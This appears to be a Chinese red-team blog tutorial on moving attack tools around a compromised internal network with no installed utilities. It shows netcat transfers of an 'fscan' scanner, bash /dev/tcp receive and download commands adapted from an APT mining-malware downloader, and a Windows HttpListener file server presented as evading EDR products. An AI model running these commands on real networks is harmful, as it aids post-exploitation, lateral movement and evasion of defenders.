内网渗透 一: 红队之内网裸环境文件传递教程
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。
请勿利用本文提供的信息从事任何违法活动或不当行为。
任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。
作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。
使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。
前言
本文是给红队人员进行内网各种裸环境中文件传递的教程。
一痛 : 知道 Winodws 下无 Python\Java\Go\Rust 等等等任何语言环境的裸机想要把文件上传到其他 Linux 服务器的痛苦吗?
二痛 : 知道通过 RCE 拿下内网 Linux 服务器,但是 无XSHELL、无外连、无Wget、无Curl、无NC 的痛苦吗?
三痛 : 知道 Windows 能 Ping 通 Linux 服务武器,但是NC流量被EDR秒杀就是到不了Linux服务器的痛苦吗?
对,上面的伤(三)痛💘💔💘,2021年之前作为安全娱乐圈的我经常出现而且无解🤷♂️🤷♂️🤷♂️。
但是别慌,还记得我第一篇博客里前言写的内容吗?
APT是真神!!!大家有空多分析分析病毒样本,真能学到好东西!!!
知识扫盲
同样在开始之前,先来扫盲,让大家带着知识来学习~~~
/dev/tcp详解
目录 | 功能(作用) |
---|---|
/dev | 设备⽂件保存位置 |
/dev/tcp | 打开这个文件就类似于发出了一个socket调用,建立一个socket连接。 读写这个文件就相当于在这个socket连接中传输数据。 |
我们可以通过重定向实现基于tcp/udp协议的通讯。
/dev/tcp/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口。
但是不是所有的系统都支持这个功能,/dev/tcp主要依赖于 SHELL 的实现。
Bash 和 Ksh 通常都支持这个特性,但其他 SHELL 可能不支持。
这个非常重要,关系到下面二痛的解决!!!
文件描述符
定义:
在Linux中,文件描述符是内核为了高效的管理已经被打开的文件所创建的索引。
它是一个非负整数,用于指代被打开的文件,所有执行I/O操作的系统调用都是通过文件描述符完成的。
文件描述符是一个简单的非负整数,用来表明每一个被进程打开的文件。
内核空间是虚拟地址空间的一部分,想死磕的读者请自行BliBli搜索《C语言内存精讲》,不想纠缠细节的读者可以这样理解:
进程启动后要占用内存,其中一部分内存分配给了文件描述符表。
在Linux中,进程是通过文件描述符 (file descriptors 简称FD)来访问文件的。
在程序刚启动的时候,默认有三个文件描述符:
分别是:0 (代表标准输入),1 (代表标准输出),2 (代表标准错误)。
1 | ? |
当你输入一条命令或者执行一个程序后(特别是在安装的时候)无回显或者无明显的显示是否执行成功了,
那么就可以执行上述的这个命令,通过返回值来判断程序是否执行成功。
执行成功时,如下图所示:
执行失败时,如下图所示:
这里给大家详解所有常用文件描述符:
文件描述符 | 描述 | 功能 |
---|---|---|
0 | 标准输入(stdin) | 默认情况下,标准输入连接到键盘。 用途:用于从用户输入读取数据。 |
1 | 标准输出(stdout) | 默认情况下,标准输出连接到终端显示器。 用途:用于将数据输出到终端或其他输出设备。 |
2 | 标准错误输出(stderr) | 默认情况下,标准错误输出连接到终端显示器。 用途:用于输出错误消息。 |
3 | 当文件描述符>2即是用户自定义的 | 在脚本中可以使用exec来打开、关闭、重定向文件描述符,以便进行文件操作、管道操作或网络通信。 |
…… | 通过 exec X<>/path/to/file 或 exec X< /path/to/file 等形式,可以将文件描述符 X 与文件或设备关联起来。 | |
999999 | 通过 exec 3< <(ls) 将文件描述符 3 关联到 ls 命令的输出内容,可以通过读取文件描述符 3 来获取 ls 命令执行后的结果。 |
1 | #!/bin/bash |
结果如下图所示:
看着上述定义是不是突然就明了了很多东西,所以说还要多读各种白皮书~~~
OK,掌握了上述知识,我们就可以开始解决我们本文所有的痛点了。
解决一痛: 裸环境传输服务器搭建
众所周知,开启HTTP服务,Python一条命令就行了,无论python2还是python3,java和go稍微复杂一点也比较容易开启。
但是我们最经常遇到的就是无任何语言环境的内网。
那么我们如何能够把文件从A这台裸环境的服务器上传至B这个Linus服务器呢?
NC传递文件
为什么首先写这个大家都说烂了的NC传文件呢?*
是为了引出第二痛的解决~
上传NC.exe工具到Winodws(服务器A)想将提权工具上传到Linux(服务器B)的那个目录后,执行以下命令:
1 | nc -lvnp 1004 < fscan(文件名) |
接收方安装了NC
当Linux(服务器B)有安装NC这个命令时,即可使用以下命令来接收文件:
1 | nc 192.168.41.1 1004 < fscan |
这个太常见了就不附图了。。。
接收方未安装NC(这里就和大家熟知的不一样了~)
当Linux服务器无NC环境时,采用如下方法接收文件:
1 | cat < /dev/tcp/192.168.41.1/1004 > fscan |
当你输入完成这条命令之后,如果在Winodws(服务器A)上刚刚执行的NC命令下看到一条访问记录后,
那么文件就已经成功上传,即可关闭Linux(服务器B)的NC会话。
如下图所示:
解决二痛: 自定义Download下载器
那么Linux服务器无外联、NC、Wget、Curl,Windows服务器也无Xshell的话怎么办?
在某次的应急中,找到了***F APT 组织的挖矿病毒下载器,并且在大佬巨佬的帮助下成功逆向出来源代码。
其中某段代码实现了在一个裸环境的 Linux 服务器下进行文件下载的功能。
这不正是我苦苦追寻的解决方法嘛!!!!(后面发现还是我菜)
部分代码如下:
关键点解析:
采用了上述的exec 命令打开文件描述符 3,并将其与 /dev/tcp/${HOST}/${PORT} 关联,以建立到指定服务器和端口的 TCP 连接。
1 | exec 3<>/dev/tcp/${HOST}/${PORT} |
用户传入的服务器路径中提取出协议、服务器地址、路径和端口号(如果有的话)。
1 | read proto server path <<< "${1//"/"/ }" |
当然这种下载方式有对协议有限制,只能下载HTTP协议的内容,无法下载HTTPS协议的内容。但是问题不大,好解决~
将这个代码使用 Base64 进行编码,使用 echo 写入到 Linux 中。
(这你都想使用Wget、Curl、NC接收文件,但是它都没装,得有 echo 权限吧~)。
写入后使用如下命令进行文件下载:
bash -x download http://xxxx:xx/xxx
运行结果如下图:
备注: 别说找不到下载的文件。
~ ~ ~ 下载的文件默认存放于根目录,即root之前的那一层 !!!
OK.到这里解决了二痛。
解决三(伤)痛: Windows自定义HTTP服务器
前面两个其实都是我们或多或少有接触过的,但是下面这个的解决是真难以想象。
还是水友大佬给力呀,资料给的多,最终还是搞出来了一个小玩意儿~🤠🤠🤠
在裸环境的时候,我们通常都用NC来搭建一个文件传输服务,但是这个每次要上传一个文件都要开启一个NC服务很麻烦。
(真的别说PHPStudy了。。。太傻了~)
最重要的是NC的流量被EDR监听很死啊,基本都传不出去直接就给秒了,不仅没有横向,还把自己给搞暴露了。。。
那么我们就要寻找一个EDR监听不严的东西,找了很久发现是HTTP。。。。。。
只要流量不携带敏感参数就非常友好(QAX天*、Sangfor某EDR内网真实环境实验!!!)。
那么非常好,我们开始来实现。
这里的解决方法使用到Winodws环境自带的:.NET Framework 和.NET Core 的类。
关键类:System.Net.HttpListener
看到下面这个类的解析大佬可能就已经懂了:
System.Net.HttpListener类实现了基于 HTTP 协议的服务器功能,可以在应用程序中创建一个 HTTP 服务器,接收来自客户端的 HTTP 请求,
然后可以处理这些请求并发送响应。
它允许你在本地系统上监听指定的 IP 地址和端口,以便接收 HTTP 请求,这对于构建 Web 服务器、API 服务或者用于特定目的的 HTTP 接口非常有用。
部分代码如下:
使用方法如下图所示:
备注: 不能直接访问这个HTTP服务,要带上具体文件名: http://192.168.41.1:8080/123.txt
通过端口不能直接访问到,是不是隐藏的挺好😀hhhhhh~
在这里我已经编译生成好了exe,大家直接下载使用即可。(不用谢,这是雷锋应该做的~😀😀😀)
点击下载:Windows_HTTP_WEB 无毒自辩 ~
OK现在暂时没有伤痛了~
啦啦啦啦啦啦~
总结
上述的方法已经能够实现在裸Windows服务器上开启一个EDR友好型HTTP服务器以供下载,
和在裸Linux环境中生成一个无任何依赖的文件下载器。
初步给大家伙实现了打红队的萌新棘手的内网文件传输~
这只是内网渗透、横向教程的第一章,还会有二、三、四、五、六章。。。。。。最近懒*犯了,而且GH开始了
想看的小伙伴们请邮件催更~~~
有任何其他问题都可以邮件交流哦~~~